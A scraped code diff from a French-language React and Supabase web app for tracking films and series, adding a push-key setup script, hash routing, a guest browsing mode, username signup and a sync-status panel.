const pair = await crypto.subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify'])
|
||||
const publicKey = b64url(await crypto.subtle.exportKey('raw', pair.publicKey))
|
||||
const { d: privateKey } = await crypto.subtle.exportKey('jwk', pair.privateKey)
|
||||
const webhookSecret = b64url(crypto.getRandomValues(new Uint8Array(32)))
|
||||
|
||||
console.log(`
|
||||
=== 1) Supabase → Edge Functions → Secrets : 4 secrets (Nom = à gauche, Valeur = à droite) ===
|
||||
(un secret qui existe déjà : le remplacer par cette nouvelle valeur)
|
||||
|
||||
VAPID_PUBLIC_KEY ${publicKey}
|
||||
VAPID_PRIVATE_KEY ${privateKey}
|
||||
VAPID_SUBJECT mailto:ton-adresse@example.com (mets ton adresse)
|
||||
PUSH_WEBHOOK_SECRET ${webhookSecret}
|
||||
|
||||
=== 2) Supabase → SQL Editor : coller CETTE ligne telle quelle, puis Run ===
|
||||
|
||||
do $$ begin if exists (select 1 from vault.secrets where name = 'azuu_push_secret') then perform vault.update_secret((select id from vault.secrets where name = 'azuu_push_secret'), '${webhookSecret}'); else perform vault.create_secret('${webhookSecret}', 'azuu_push_secret'); end if; end $$;
|
||||
|
||||
Ces valeurs sont secrètes (sauf VAPID_PUBLIC_KEY) : ne les colle nulle part ailleurs.
|
||||
Chaque lancement du script crée de NOUVELLES valeurs : les étapes 1 et 2 doivent venir du même lancement.
|
||||
`)
|
||||
+109
-28
@@ -1,75 +1,156 @@
|
||||
import { SocialProvider } from './components/social/SocialProvider'
|
||||
import { ToastProvider } from './components/Toast'
|
||||
import { useEffect, useState } from 'react'
|
||||
import BottomNav, { type Tab } from './components/BottomNav'
|
||||
import MediaForm from './components/MediaForm'
|
||||
import SideNav from './components/SideNav'
|
||||
import AddTitle from './components/title/AddTitle'
|
||||
import EditDetails from './components/title/EditDetails'
|
||||
import TitleSheet from './components/title/TitleSheet'
|
||||
import PersonSheet from './components/person/PersonSheet'
|
||||
import Roulette from './components/Roulette'
|
||||
import CalendarView from './components/CalendarView'
|
||||
import HomePage from './pages/HomePage'
|
||||
import CatalogPage from './pages/CatalogPage'
|
||||
import StatsPage from './pages/StatsPage'
|
||||
import SettingsPage from './pages/SettingsPage'
|
||||
import AdminPage from './pages/AdminPage'
|
||||
import NotFoundPage from './pages/NotFoundPage'
|
||||
import PushBridge from './components/PushBridge'
|
||||
import SyncIndicator from './components/SyncIndicator'
|
||||
import { useMedia } from './store'
|
||||
import type { SearchResult } from './lib/catalogApi'
|
||||
import type { MediaItem } from './types'
|
||||
import type { Completion } from './lib/seasons'
|
||||
|
||||
const TABS: Tab[] = ['home', 'catalog', 'stats', 'settings']
|
||||
// L'administration a sa propre route (#/admin), hors de la navigation principale
|
||||
type Route = Tab | 'admin' | 'notfound'
|
||||
|
||||
function tabFromHash(): Tab {
|
||||
const h = window.location.hash.replace('#/', '') as Tab
|
||||
return TABS.includes(h) ? h : 'home'
|
||||
function routeFromHash(): Route {
|
||||
const hash = window.location.hash
|
||||
// Pas de route (ou retour de connexion « #access_token=… ») : accueil
|
||||
if (!hash.startsWith('#/')) return 'home'
|
||||
const h = hash.slice(2)
|
||||
if (h === '' || h.startsWith('u/')) return 'home'
|
||||
if (h === 'admin') return 'admin'
|
||||
return (TABS as string[]).includes(h) ? (h as Tab) : 'notfound'
|
||||
}
|
||||
|
||||
/** Formulaire ouvert : null = fermé, 'new' = ajout, sinon la fiche à éditer. */
|
||||
export type EditorState = null | 'new' | MediaItem
|
||||
/**
|
||||
* Fenêtres ouvertes les unes sur les autres : fiche d'un titre (de ma bibliothèque, ou résultat pas encore ajouté)
|
||||
* ou page d'une personne. Titre → acteur → autre titre → … : « retour » remonte d'un cran.
|
||||
*/
|
||||
type Layer =
|
||||
| { kind: 'title'; item: MediaItem; seed?: undefined; focus?: Completion }
|
||||
| { kind: 'title'; seed: SearchResult; item?: undefined }
|
||||
| { kind: 'person'; personId: string; name?: string; photo?: string }
|
||||
let layerUid = 0
|
||||
|
||||
export default function App() {
|
||||
const { error } = useMedia()
|
||||
const [tab, setTab] = useState<Tab>(tabFromHash)
|
||||
const [editor, setEditor] = useState<EditorState>(null)
|
||||
const [route, setRoute] = useState<Route>(routeFromHash)
|
||||
const [layers, setLayers] = useState<(Layer & { uid: number })[]>([])
|
||||
const pushLayer = (l: Layer) => setLayers((ls) => [...ls.slice(-11), { ...l, uid: ++layerUid }])
|
||||
const closeLayer = (uid: number) => setLayers((ls) => ls.filter((x) => x.uid !== uid))
|
||||
const [adding, setAdding] = useState(false)
|
||||
const [manual, setManual] = useState<string | null>(null)
|
||||
const [roulette, setRoulette] = useState(false)
|
||||
const [calendar, setCalendar] = useState(false)
|
||||
|
||||
useEffect(() => {
|
||||
const onHash = () => setTab(tabFromHash())
|
||||
const onHash = () => setRoute(routeFromHash())
|
||||
window.addEventListener('hashchange', onHash)
|
||||
return () => window.removeEventListener('hashchange', onHash)
|
||||
}, [])
|
||||
|
||||
const go = (t: Tab) => {
|
||||
const go = (t: Route) => {
|
||||
window.location.hash = `/${t}`
|
||||
window.scrollTo({ top: 0 })
|
||||
}
|
||||
// Dans la barre de navigation, l'administration reste rattachée à « Réglages »
|
||||
const navTab: Tab = route === 'admin' ? 'settings' : route === 'notfound' ? 'home' : route
|
||||
|
||||
const openItem = (item: MediaItem) => setEditor(item)
|
||||
const openNew = () => setEditor('new')
|
||||
/** `focus` : saison (ou série) qu'on vient de finir avec +1 → la fiche s'ouvre sur la note */
|
||||
const openItem = (item: MediaItem, focus?: Completion) => pushLayer({ kind: 'title', item, focus })
|
||||
const openSeed = (seed: SearchResult) => pushLayer({ kind: 'title', seed })
|
||||
const openPerson = (p: { id: string; name?: string; photo?: string }) => pushLayer({ kind: 'person', personId: p.id, name: p.name, photo: p.photo })
|
||||
const openNew = () => setAdding(true)
|
||||
const toSettings = () => {
|
||||
setLayers([])
|
||||
setAdding(false)
|
||||
setManual(null)
|
||||
// Laisse les fenêtres retirer leur entrée d'historique avant de changer d'onglet
|
||||
setTimeout(() => go('settings'), 50)
|
||||
}
|
||||
|
||||
return (
|
||||
<SocialProvider onOpenOwnItem={openItem}>
|
||||
<div className="mx-auto min-h-dvh max-w-2xl">
|
||||
<main className="safe-top px-4 pb-32">
|
||||
<ToastProvider>
|
||||
<SocialProvider onOpenOwnItem={openItem} onOpenSeed={openSeed}>
|
||||
<SideNav current={navTab} onChange={go} onAdd={openNew} />
|
||||
<div className="mx-auto min-h-dvh max-w-2xl lg:max-w-none lg:ps-60">
|
||||
<main className="safe-top px-4 pb-32 lg:px-10 lg:pb-10 2xl:px-14">
|
||||
{error && <p className="mt-4 rounded-xl border border-accent p-3 text-sm text-ink">{error}</p>}
|
||||
{tab === 'home' && <HomePage onOpen={openItem} onAdd={openNew} onNavigate={go} onRoulette={() => setRoulette(true)} onCalendar={() => setCalendar(true)} />}
|
||||
{tab === 'catalog' && <CatalogPage onOpen={openItem} onAdd={openNew} />}
|
||||
{tab === 'stats' && <StatsPage />}
|
||||
{tab === 'settings' && <SettingsPage />}
|
||||
{route === 'home' && <HomePage onOpen={openItem} onAdd={openNew} onNavigate={go} onRoulette={() => setRoulette(true)} onCalendar={() => setCalendar(true)} />}
|
||||
{route === 'catalog' && <CatalogPage onOpen={openItem} onAdd={openNew} />}
|
||||
{route === 'stats' && <StatsPage onOpen={openItem} />}
|
||||
{route === 'settings' && <SettingsPage onOpenAdmin={() => go('admin')} />}
|
||||
{route === 'admin' && <AdminPage onBack={() => go('settings')} />}
|
||||
{route === 'notfound' && <NotFoundPage onHome={() => go('home')} />}
|
||||
</main>
|
||||
|
||||
<BottomNav current={tab} onChange={go} onAdd={openNew} />
|
||||
<BottomNav current={navTab} onChange={go} onAdd={openNew} />
|
||||
<SyncIndicator />
|
||||
<PushBridge />
|
||||
|
||||
{roulette && <Roulette onClose={() => setRoulette(false)} onOpen={openItem} />}
|
||||
{calendar && <CalendarView onClose={() => setCalendar(false)} onOpen={openItem} />}
|
||||
|
||||
{editor && (
|
||||
<MediaForm
|
||||
key={editor === 'new' ? 'new' : editor.id}
|
||||
item={editor === 'new' ? undefined : editor}
|
||||
onClose={() => setEditor(null)}
|
||||
onGoToSettings={() => {
|
||||
setEditor(null)
|
||||
go('settings')
|
||||
{adding && (
|
||||
<AddTitle
|
||||
onClose={() => setAdding(false)}
|
||||
onPick={openSeed}
|
||||
onOpenItem={openItem}
|
||||
onOpenPerson={openPerson}
|
||||
onManual={(title) => setManual(title)}
|
||||
onGoToSettings={toSettings}
|
||||
/>
|
||||
)}
|
||||
{layers.map((l) =>
|
||||
l.kind === 'title' ? (
|
||||
<TitleSheet
|
||||
key={l.uid}
|
||||
item={l.item}
|
||||
seed={l.seed}
|
||||
onClose={() => closeLayer(l.uid)}
|
||||
onGoToSettings={toSettings}
|
||||
onOpenPerson={openPerson}
|
||||
focus={l.item ? l.focus : undefined}
|
||||
/>
|
||||
) : (
|
||||
<PersonSheet
|
||||
key={l.uid}
|
||||
personId={l.personId}
|
||||
name={l.name}
|
||||
photo={l.photo}
|
||||
onClose={() => closeLayer(l.uid)}
|
||||
onOpenItem={openItem}
|
||||
onOpenSeed={openSeed}
|
||||
/>
|
||||
),
|
||||
)}
|
||||
{manual !== null && (
|
||||
<EditDetails
|
||||
initialTitle={manual}
|
||||
onClose={() => setManual(null)}
|
||||
onCreated={(item) => {
|
||||
setManual(null)
|
||||
setAdding(false)
|
||||
openItem(item)
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</SocialProvider>
|
||||
</ToastProvider>
|
||||
)
|
||||
}
|
||||
+52
-2
@@ -1,14 +1,33 @@
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
import App from './App'
|
||||
import AuthScreen, { NewPasswordScreen } from './components/AuthScreen'
|
||||
import GuestPrompt, { GuestBanner } from './components/guest/GuestPrompt'
|
||||
import { consumeAuthRedirect, getSession, hasOAuthRedirect, onSessionChange, type Session } from './lib/cloud/auth'
|
||||
import { cloudEnabled } from './lib/cloud/config'
|
||||
import { setScope } from './lib/scope'
|
||||
import { MediaProvider } from './store'
|
||||
|
||||
const GUEST_KEY = 'azuucine:guest'
|
||||
const readGuest = () => {
|
||||
try {
|
||||
return localStorage.getItem(GUEST_KEY) === '1'
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
const writeGuest = (on: boolean) => {
|
||||
try {
|
||||
if (on) localStorage.setItem(GUEST_KEY, '1')
|
||||
else localStorage.removeItem(GUEST_KEY)
|
||||
} catch {
|
||||
/* stockage indisponible : le mode découverte dure le temps de la page */
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Point d'entrée : sans configuration Supabase, l'app reste 100 % locale.
|
||||
* Avec, il faut être connecté ; chaque compte a son propre espace sur l'appareil.
|
||||
* Avec, on peut se connecter, ou explorer sans compte (mode découverte : recherche, fiches, acteurs…
|
||||
* en lecture seule ; noter ou ajouter un titre demande un compte). Chaque compte a son propre espace sur l'appareil.
|
||||
*/
|
||||
export default function Root() {
|
||||
const [session, setSession] = useState<Session | null>(() => (cloudEnabled ? getSession() : null))
|
||||
@@ -17,6 +36,16 @@ export default function Root() {
|
||||
cloudEnabled && (/(^#|&)(access_token|error)=/.test(location.hash) || hasOAuthRedirect()) ? 'checking' : 'none',
|
||||
)
|
||||
const [notice, setNotice] = useState<string>()
|
||||
const [guest, setGuest] = useState(readGuest)
|
||||
const [ask, setAsk] = useState(false)
|
||||
// Écran de connexion demandé depuis le mode découverte (« Se connecter » / « Créer un compte »)
|
||||
const [authMode, setAuthMode] = useState<'login' | 'signup'>('login')
|
||||
const leaveGuest = (mode: 'login' | 'signup') => {
|
||||
writeGuest(false)
|
||||
setAsk(false)
|
||||
setAuthMode(mode)
|
||||
setGuest(false)
|
||||
}
|
||||
const userId = session?.user.id
|
||||
const userEmail = session?.user.email
|
||||
const user = useMemo(() => (userId ? { id: userId, email: userEmail ?? '' } : undefined), [userId, userEmail])
|
||||
@@ -47,9 +76,30 @@ export default function Root() {
|
||||
}
|
||||
if (redirect === 'checking') return <div className="min-h-dvh bg-bg" />
|
||||
if (redirect === 'recovery' && session) return <NewPasswordScreen onDone={() => setRedirect('none')} />
|
||||
if (!session && guest) {
|
||||
// Espace à part, vide : rien de ce qui est vu en découverte ne se mélange à un compte
|
||||
setScope('guest')
|
||||
return (
|
||||
<MediaProvider key="guest" guest onNeedAccount={() => setAsk(true)}>
|
||||
<GuestBanner onSignIn={() => leaveGuest('login')} />
|
||||
<App />
|
||||
{ask && <GuestPrompt onSignIn={() => leaveGuest('login')} onSignUp={() => leaveGuest('signup')} onClose={() => setAsk(false)} />}
|
||||
</MediaProvider>
|
||||
)
|
||||
}
|
||||
if (!session) {
|
||||
setScope(null)
|
||||
return <AuthScreen notice={notice} />
|
||||
return (
|
||||
<AuthScreen
|
||||
key={authMode}
|
||||
notice={notice}
|
||||
initialMode={authMode}
|
||||
onExplore={() => {
|
||||
writeGuest(true)
|
||||
setGuest(true)
|
||||
}}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
// L'espace de stockage doit être choisi avant que le fournisseur de données ne lise quoi que ce soit
|
||||
|
||||
@@ -1,48 +1,24 @@
|
||||
import Avatar from './social/Avatar'
|
||||
import { useSocial } from './social/SocialProvider'
|
||||
import { locale, t } from '../i18n'
|
||||
import { CloudOff, KeyRound, Loader2, LogOut, RefreshCw, UserRound } from 'lucide-react'
|
||||
import { useEffect, useState, type FormEvent } from 'react'
|
||||
import { t } from '../i18n'
|
||||
import { AlertTriangle, Check, CloudOff, KeyRound, Loader2, LogOut, RefreshCw, UserRound } from 'lucide-react'
|
||||
import { useState, type FormEvent } from 'react'
|
||||
import { PASSWORD_MIN, updatePassword } from '../lib/cloud/auth'
|
||||
import { cx } from '../lib/utils'
|
||||
import { timeAgo } from '../lib/timeAgo'
|
||||
import type { AccountApi } from '../store'
|
||||
import ConfirmDialog from './ConfirmDialog'
|
||||
import { SectionTitle } from './ui'
|
||||
import { cx } from '../lib/utils'
|
||||
|
||||
function ago(iso?: string): string {
|
||||
if (!iso) return t('time.never')
|
||||
const s = Math.max(0, (Date.now() - new Date(iso).getTime()) / 1000)
|
||||
if (s < 60) return t('time.justNow')
|
||||
if (s < 3600) return t('time.minutesAgo', { n: Math.floor(s / 60) })
|
||||
if (s < 86400) return t('time.hoursAgo', { n: Math.floor(s / 3600) })
|
||||
return t('time.onDate', { date: new Date(iso).toLocaleDateString(locale(), { day: 'numeric', month: 'short' }) })
|
||||
}
|
||||
|
||||
/** Réglages → Mon compte : état de la synchro, mot de passe, déconnexion. */
|
||||
/** Réglages → Mon compte : mot de passe, déconnexion. La synchro tourne en arrière-plan. */
|
||||
export default function AccountSection({ account, onMessage }: { account: AccountApi; onMessage: (kind: 'ok' | 'error', text: string) => void }) {
|
||||
const { sync } = account
|
||||
const social = useSocial()
|
||||
const [, tick] = useState(0)
|
||||
const [pwOpen, setPwOpen] = useState(false)
|
||||
const [pw, setPw] = useState('')
|
||||
const [busy, setBusy] = useState<'pw' | 'logout' | 'import' | null>(null)
|
||||
const [confirmLogout, setConfirmLogout] = useState(false)
|
||||
|
||||
// Rafraîchit « il y a x min »
|
||||
useEffect(() => {
|
||||
const timer = setInterval(() => tick((n) => n + 1), 30_000)
|
||||
return () => clearInterval(timer)
|
||||
}, [])
|
||||
|
||||
const statusText =
|
||||
sync.state === 'syncing'
|
||||
? t('account.syncing')
|
||||
: sync.state === 'offline'
|
||||
? t('account.offline')
|
||||
: sync.state === 'error'
|
||||
? t('account.syncError')
|
||||
: t('account.synced', { when: ago(sync.lastSyncAt) })
|
||||
|
||||
const changePassword = async (e: FormEvent) => {
|
||||
e.preventDefault()
|
||||
setBusy('pw')
|
||||
@@ -90,25 +66,52 @@ export default function AccountSection({ account, onMessage }: { account: Accoun
|
||||
</span>
|
||||
<span className="min-w-0 flex-1">
|
||||
<span className="block truncate font-medium">{account.email}</span>
|
||||
<span className={cx('mt-0.5 flex items-center gap-1.5 text-xs', sync.state === 'error' ? 'text-accent' : 'text-ink-3')}>
|
||||
{sync.state === 'offline' && <CloudOff size={12} />}
|
||||
{statusText}
|
||||
{sync.pending > 0 && sync.state !== 'syncing' && ` · ${t('account.pending', { count: sync.pending })}`}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* État de la synchronisation : visible, surtout quand quelque chose bloque */}
|
||||
<div className="flex items-center gap-3.5 px-4 py-3.5" role="status">
|
||||
<span className={cx('grid size-10 shrink-0 place-items-center rounded-full bg-surface-2', sync.state === 'error' ? 'text-accent' : 'text-ink-2')}>
|
||||
{sync.state === 'syncing' ? (
|
||||
<RefreshCw size={18} className="animate-spin" />
|
||||
) : sync.state === 'offline' ? (
|
||||
<CloudOff size={18} />
|
||||
) : sync.state === 'error' ? (
|
||||
<AlertTriangle size={18} />
|
||||
) : (
|
||||
<Check size={18} />
|
||||
)}
|
||||
</span>
|
||||
<span className="min-w-0 flex-1">
|
||||
<span className={cx('block text-sm font-medium', sync.state === 'error' && 'text-accent')}>
|
||||
{sync.state === 'syncing'
|
||||
? t('sync.syncing')
|
||||
: sync.state === 'offline'
|
||||
? t('sync.offline')
|
||||
: sync.state === 'error'
|
||||
? t('sync.error')
|
||||
: sync.lastSyncAt
|
||||
? t('sync.synced', { when: timeAgo(sync.lastSyncAt) })
|
||||
: t('sync.never')}
|
||||
</span>
|
||||
{(sync.pending > 0 || (sync.state === 'error' && sync.error)) && (
|
||||
<span className="mt-0.5 block truncate text-xs text-ink-3">
|
||||
{[sync.pending > 0 ? t('sync.pending', { count: sync.pending }) : '', sync.state === 'error' ? sync.error : ''].filter(Boolean).join(' · ')}
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
<button
|
||||
onClick={() => account.syncNow()}
|
||||
disabled={sync.state === 'syncing'}
|
||||
className="grid size-10 shrink-0 place-items-center rounded-full border border-line text-ink-2"
|
||||
aria-label={t('account.syncNow')}
|
||||
onClick={() => void account.syncNow().catch(() => {})}
|
||||
disabled={sync.state === 'syncing' || sync.state === 'offline'}
|
||||
className="btn btn-ghost shrink-0 px-3 py-1.5 text-xs"
|
||||
>
|
||||
{sync.state === 'syncing' ? <Loader2 size={17} className="animate-spin" /> : <RefreshCw size={17} />}
|
||||
{t('sync.now')}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<button
|
||||
onClick={() => (social.me ? social.openProfile(social.me.username) : social.openSearch())}
|
||||
className="flex w-full items-center gap-3.5 px-4 py-4 text-left transition-colors active:bg-surface-2"
|
||||
className="flex w-full items-center gap-3.5 px-4 py-4 text-start transition-colors active:bg-surface-2"
|
||||
>
|
||||
<Avatar url={social.me?.avatarUrl} name={social.me?.displayName ?? account.email} size={22} />
|
||||
<span className="flex-1">
|
||||
@@ -143,14 +146,14 @@ export default function AccountSection({ account, onMessage }: { account: Accoun
|
||||
</div>
|
||||
</form>
|
||||
) : (
|
||||
<button onClick={() => setPwOpen(true)} className="flex w-full items-center gap-3.5 px-4 py-4 text-left transition-colors active:bg-surface-2">
|
||||
<button onClick={() => setPwOpen(true)} className="flex w-full items-center gap-3.5 px-4 py-4 text-start transition-colors active:bg-surface-2">
|
||||
<KeyRound size={19} className="text-ink-2" />
|
||||
<span className="flex-1 font-medium">{t('account.changePassword')}</span>
|
||||
<span className="text-ink-3">→</span>
|
||||
</button>
|
||||
)}
|
||||
|
||||
<button onClick={() => logout(false)} disabled={busy === 'logout'} className="flex w-full items-center gap-3.5 px-4 py-4 text-left transition-colors active:bg-surface-2">
|
||||
<button onClick={() => logout(false)} disabled={busy === 'logout'} className="flex w-full items-center gap-3.5 px-4 py-4 text-start transition-colors active:bg-surface-2">
|
||||
{busy === 'logout' ? <Loader2 size={19} className="animate-spin text-ink-2" /> : <LogOut size={19} className="text-ink-2" />}
|
||||
<span className="flex-1">
|
||||
<span className="block font-medium">{t('account.logout')}</span>
|
||||
|
||||
@@ -3,7 +3,9 @@ import { LanguageSelect } from '../i18n/react'
|
||||
import { Eye, EyeOff, Loader2 } from 'lucide-react'
|
||||
import { useState, type FormEvent, type ReactNode } from 'react'
|
||||
import { PASSWORD_MIN, requestPasswordReset, signIn, signInWithGoogle, signUp, updatePassword } from '../lib/cloud/auth'
|
||||
import { USERNAME_RE } from '../lib/cloud/social'
|
||||
import { cx } from '../lib/utils'
|
||||
import { RANDOM_USERNAME } from './social/WelcomeProfile'
|
||||
|
||||
type Mode = 'login' | 'signup' | 'forgot'
|
||||
|
||||
@@ -12,7 +14,7 @@ function PasswordField({ value, onChange, placeholder, autoComplete }: { value:
|
||||
return (
|
||||
<div className="relative">
|
||||
<input
|
||||
className="field pr-11"
|
||||
className="field pe-11"
|
||||
type={show ? 'text' : 'password'}
|
||||
value={value}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
@@ -22,7 +24,7 @@ function PasswordField({ value, onChange, placeholder, autoComplete }: { value:
|
||||
maxLength={72}
|
||||
required
|
||||
/>
|
||||
<button type="button" onClick={() => setShow((v) => !v)} className="absolute right-3 top-1/2 -translate-y-1/2 text-ink-3" aria-label={show ? t('auth.hidePassword') : t('auth.showPassword')}>
|
||||
<button type="button" onClick={() => setShow((v) => !v)} className="absolute end-3 top-1/2 -translate-y-1/2 text-ink-3" aria-label={show ? t('auth.hidePassword') : t('auth.showPassword')}>
|
||||
{show ? <EyeOff size={17} /> : <Eye size={17} />}
|
||||
</button>
|
||||
</div>
|
||||
@@ -34,7 +36,7 @@ function Shell({ children, subtitle }: { children: ReactNode; subtitle: string }
|
||||
<div className="safe-top safe-bottom flex min-h-dvh flex-col items-center justify-center bg-bg px-5 py-10">
|
||||
<div className="w-full max-w-sm">
|
||||
<h1 className="text-center text-[2.4rem] font-bold leading-none">
|
||||
Azuu<span className="text-accent">Cine</span>
|
||||
Ki<span className="text-accent">no</span>
|
||||
</h1>
|
||||
<p className="mt-3 text-center text-sm text-ink-3">{subtitle}</p>
|
||||
<div className="mt-9">{children}</div>
|
||||
@@ -47,14 +49,17 @@ function Shell({ children, subtitle }: { children: ReactNode; subtitle: string }
|
||||
}
|
||||
|
||||
/** Écran de connexion / inscription (affiché quand les comptes sont activés et qu'on n'est pas connecté). */
|
||||
export default function AuthScreen({ notice }: { notice?: string }) {
|
||||
const [mode, setMode] = useState<Mode>('login')
|
||||
export default function AuthScreen({ notice, onExplore, initialMode = 'login' }: { notice?: string; /** Mode découverte : regarder l'app sans compte */ onExplore?: () => void; initialMode?: 'login' | 'signup' }) {
|
||||
const [mode, setMode] = useState<Mode>(initialMode)
|
||||
const [email, setEmail] = useState('')
|
||||
const [username, setUsername] = useState('')
|
||||
const [password, setPassword] = useState('')
|
||||
const [confirm, setConfirm] = useState('')
|
||||
const [busy, setBusy] = useState(false)
|
||||
const [error, setError] = useState<string>()
|
||||
const [info, setInfo] = useState<string | undefined>(notice)
|
||||
const cleanUsername = username.trim().replace(/^@/, '').toLowerCase()
|
||||
const usernameOk = USERNAME_RE.test(cleanUsername) && !RANDOM_USERNAME.test(cleanUsername)
|
||||
|
||||
const switchTo = (m: Mode) => {
|
||||
setMode(m)
|
||||
@@ -78,12 +83,13 @@ export default function AuthScreen({ notice }: { notice?: string }) {
|
||||
e.preventDefault()
|
||||
setError(undefined)
|
||||
setInfo(undefined)
|
||||
if (mode === 'signup' && !usernameOk) return setError(t('social.usernameRule'))
|
||||
if (mode === 'signup' && password !== confirm) return setError(t('auth.mismatch'))
|
||||
setBusy(true)
|
||||
try {
|
||||
if (mode === 'login') await signIn(email, password)
|
||||
else if (mode === 'signup') {
|
||||
const needsConfirm = await signUp(email, password)
|
||||
const needsConfirm = await signUp(email, password, cleanUsername)
|
||||
if (needsConfirm) {
|
||||
setInfo(t('auth.created', { email: email.trim() }))
|
||||
setMode('login')
|
||||
@@ -134,6 +140,26 @@ export default function AuthScreen({ notice }: { notice?: string }) {
|
||||
|
||||
<form onSubmit={submit} className="space-y-3">
|
||||
{mode === 'forgot' && <h2 className="mb-1 text-lg font-semibold">{t('auth.forgotTitle')}</h2>}
|
||||
{mode === 'signup' && (
|
||||
<div>
|
||||
<div className="relative">
|
||||
<span className="pointer-events-none absolute start-3.5 top-1/2 -translate-y-1/2 text-ink-3">@</span>
|
||||
<input
|
||||
className="field ps-8"
|
||||
value={username}
|
||||
onChange={(e) => setUsername(e.target.value.toLowerCase())}
|
||||
placeholder={t('welcome.usernamePh')}
|
||||
aria-label={t('social.username')}
|
||||
autoComplete="username"
|
||||
autoCapitalize="off"
|
||||
spellCheck={false}
|
||||
maxLength={21}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<p className={cx('mt-1.5 text-xs', username && !usernameOk ? 'text-accent' : 'text-ink-3')}>{t('social.usernameRule')}</p>
|
||||
</div>
|
||||
)}
|
||||
<input
|
||||
className="field"
|
||||
type="email"
|
||||
@@ -172,8 +198,15 @@ export default function AuthScreen({ notice }: { notice?: string }) {
|
||||
{busy && <Loader2 size={17} className="animate-spin" />}
|
||||
{mode === 'login' ? t('auth.login') : mode === 'signup' ? t('auth.signup') : t('auth.sendLink')}
|
||||
</button>
|
||||
{mode === 'signup' && <p className="text-center text-xs leading-relaxed text-ink-3">{t('auth.consent')}</p>}
|
||||
</form>
|
||||
|
||||
{onExplore && mode !== 'forgot' && (
|
||||
<button type="button" onClick={onExplore} className="mt-4 w-full rounded-full py-2.5 text-sm font-medium text-ink-2 transition-colors hover:text-ink">
|
||||
{t('guest.explore')} <span className="text-accent rtl:-scale-x-100">→</span>
|
||||
</button>
|
||||
)}
|
||||
|
||||
<div className="mt-5 text-center text-sm">
|
||||
{mode === 'login' && (
|
||||
<button type="button" onClick={() => switchTo('forgot')} className="text-ink-3">
|
||||
@@ -190,6 +223,7 @@ export default function AuthScreen({ notice }: { notice?: string }) {
|
||||
<p className="mt-10 text-center text-[11px] leading-relaxed text-ink-3">
|
||||
{t('auth.privacy')}
|
||||
</p>
|
||||
<LegalLinks />
|
||||
</Shell>
|
||||
)
|
||||
}
|
||||
@@ -235,3 +269,14 @@ export function NewPasswordScreen({ onDone }: { onDone: () => void }) {
|
||||
</Shell>
|
||||
)
|
||||
}
|
||||
|
||||
/** Liens vers les pages légales (statiques, hors de l'app). */
|
||||
export function LegalLinks() {
|
||||
return (
|
||||
<nav className="mt-4 flex flex-wrap justify-center gap-x-4 gap-y-1 text-[11px] text-ink-3">
|
||||
<a href="/legal.html#conditions" target="_blank" rel="noopener" className="underline underline-offset-2">{t('legal.terms')}</a>
|
||||
<a href="/privacy.html" target="_blank" rel="noopener" className="underline underline-offset-2">{t('legal.privacy')}</a>
|
||||
<a href="/legal.html#mentions" target="_blank" rel="noopener" className="underline underline-offset-2">{t('legal.notice')}</a>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
import { t } from '../i18n'
|
||||
import { BarChart3, Home, LibraryBig, Plus, Settings } from 'lucide-react'
|
||||
import { BarChart3, Home, LibraryBig, Search, Settings } from 'lucide-react'
|
||||
import { cx } from '../lib/utils'
|
||||
|
||||
export type Tab = 'home' | 'catalog' | 'stats' | 'settings'
|
||||
@@ -31,23 +31,23 @@ export default function BottomNav({ current, onChange, onAdd }: Props) {
|
||||
<span className="relative">
|
||||
{label}
|
||||
{/* soulignement fin, comme le lien actif de rdacet.fr */}
|
||||
<span className={cx('absolute -bottom-1 left-0 h-px w-full bg-accent transition-opacity', active ? 'opacity-100' : 'opacity-0')} />
|
||||
<span className={cx('absolute -bottom-1 start-0 h-px w-full bg-accent transition-opacity', active ? 'opacity-100' : 'opacity-0')} />
|
||||
</span>
|
||||
</button>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<nav className="safe-bottom fixed inset-x-0 bottom-0 z-30 border-t border-line bg-bg/95 backdrop-blur-md">
|
||||
<nav className="safe-bottom fixed inset-x-0 bottom-0 z-30 border-t border-line bg-bg/95 backdrop-blur-md lg:hidden">
|
||||
<div className="mx-auto flex max-w-2xl items-center px-2">
|
||||
{ITEMS.slice(0, 2).map(button)}
|
||||
<div className="flex flex-1 justify-center">
|
||||
<button
|
||||
onClick={onAdd}
|
||||
aria-label={t('nav.addTitle')}
|
||||
aria-label={t('search.title')}
|
||||
className="grid size-12 place-items-center rounded-full bg-accent-fill text-on-accent transition active:scale-95"
|
||||
>
|
||||
<Plus size={24} strokeWidth={2.2} />
|
||||
<Search size={22} strokeWidth={2.4} />
|
||||
</button>
|
||||
</div>
|
||||
{ITEMS.slice(2).map(button)}
|
||||
|
||||
@@ -2,11 +2,14 @@ import { locale, t } from '../i18n'
|
||||
import { Check, ChevronLeft, ChevronRight, Loader2, Plus, RefreshCw, X } from 'lucide-react'
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
|
||||
import { loadAiring, refreshAiring, saveAiring } from '../lib/airing'
|
||||
import { getAniListById, getTmdbDetails, releaseToResult, type GlobalRelease, type ReleaseCategory } from '../lib/catalogApi'
|
||||
import { findTmdbSeries, getAniListById, getTmdbDetails, releaseToResult, type GlobalRelease, type ReleaseCategory } from '../lib/catalogApi'
|
||||
import { findFranchiseItem } from '../lib/franchise'
|
||||
import { cachedMonth, isBrowsableMonth, loadMonth, RELEASE_CATEGORIES } from '../lib/globalReleases'
|
||||
import { remotePosterToLocal } from '../lib/image'
|
||||
import { calendarEvents, loadReleases, refreshReleases } from '../lib/releases'
|
||||
import { readStorage } from '../lib/security'
|
||||
import { useBackToClose } from '../lib/backNav'
|
||||
import { useEscape } from '../lib/escape'
|
||||
import { useScrollLock } from '../lib/scrollLock'
|
||||
import { cx, normalizeText, todayISO } from '../lib/utils'
|
||||
import { useMedia } from '../store'
|
||||
